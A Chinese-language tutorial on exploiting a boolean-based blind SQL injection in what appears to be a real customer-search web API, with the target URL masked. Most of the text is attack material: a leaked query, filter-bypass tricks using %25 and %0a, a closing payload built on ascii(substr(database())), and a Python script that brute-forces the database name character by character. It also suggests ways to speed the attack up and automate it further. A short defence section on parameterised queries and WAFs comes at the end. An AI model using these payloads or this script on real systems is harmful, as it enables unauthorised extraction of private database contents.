布尔型盲注的PY交易
字数 775 2025-08-15 21:32:16
布尔型盲注实战教学文档
一、漏洞发现与确认
-
注入点确认:
- 发现GET型数据调用接口存在SQL注入漏洞
- 返回包中包含原始SQL语句,确认可注入
- 传统工具sqlmap无法直接利用该漏洞
-
原始SQL语句分析:
SELECT count(0) FROM customer c
WHERE c.dealership_id = ?
AND c.active = true
AND (c.full_name LIKE '%1%')
AND 1 IN (1, 2)
AND (c.full_name LIKE '%test%' OR c.phone_number LIKE '%1%')
AND 1 IN (1, 2)
AND (c.full_name LIKE '%test%' OR c.phone_number_sub1 LIKE '%1%')
AND 1 IN (1, 2)
AND (c.full_name LIKE '%test%' OR c.phone_number_sub2 LIKE '%1%')
AND 1 IN (1, 2)
AND (c.full_name LIKE '%test%')
二、注入类型判断
-
排除法分析:
- 报错内容不同但无法利用 → 排除报错注入
- 仅剩两种可能:时间型盲注或布尔型盲注
-
确定为布尔型盲注:
- 通过构造特定语句可影响返回结果
- 根据返回状态码(200/404)判断SQL语句真假
三、绕过技术
-
过滤绕过:
- 单独
%被过滤 → 使用%25(URL编码)绕过 - 空格被过滤 → 使用
%0a(换行符)或%20绕过
- 单独
-
语句闭合构造:
%'){测试语句}AND(c.full_name like '%test
- 利用数据库模糊查询
LIKE %%特性 - 确保前后语句正确闭合
四、测试语句构造
- 基础测试语句:
27)and%0a(ascii(substr(database(),{1},1))={0})%0aAND(c.full_name%0alike%0a%27%25test
- 按位截取原理:
substr(database(),{1},1):截取数据库名第{1}个字符ascii():转换为ASCII码={0}:与猜测值比较
五、自动化工具实现
- Python实现代码:
# coding:utf-8
import requests
import datetime
import time
headers = {
# 头信息,自己添加
}
chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789@_.'
database = ''
for j in range(1,11):
for i in range(49,125):
Url = 'https://xxxxxxxxxxxxxxxxxxxxxxxxxxxxx/find?pageNo=1&pageSize=20&searchWord=1%25%27)and%0a(ascii(substr(database(),{1},1))={0})%0aAND(c.full_name%0alike%0a%27%25test'
UrlFormat = Url.format(i,j) #format()函数使用
r = requests.get(UrlFormat,headers=headers)
d = r.content.find("Test") #利用find函数来查找返回的数据特征,判断是否成功得到注入数据
if d != -1:
print(i)
print chr(i)
database += chr(i)
print database
break
else:
pass
- 关键实现点:
- 双重循环:外层循环控制字符位置,内层循环猜测ASCII值
- 特征检测:使用
find("Test")检测返回包特征 - ASCII范围:49-125覆盖可打印字符
六、优化方向
-
功能增强:
- 加入数据包直接调用功能
- 处理0值永真问题
- 支持GET/POST多种请求方法
-
性能优化:
- 多线程实现加速爆破过程
- 代码逻辑重构提高效率
-
扩展性:
- 支持更多数据库类型
- 自动化识别过滤规则
- 智能闭合语句生成
七、防御建议
-
输入过滤:
- 严格过滤特殊字符(%、'、空格等)
- 使用参数化查询
-
错误处理:
- 避免原始SQL错误信息返回前端
- 统一错误页面
-
权限控制:
- 最小权限原则
- 数据库账户权限分离
-
WAF防护:
- 部署Web应用防火墙
- 监控异常请求模式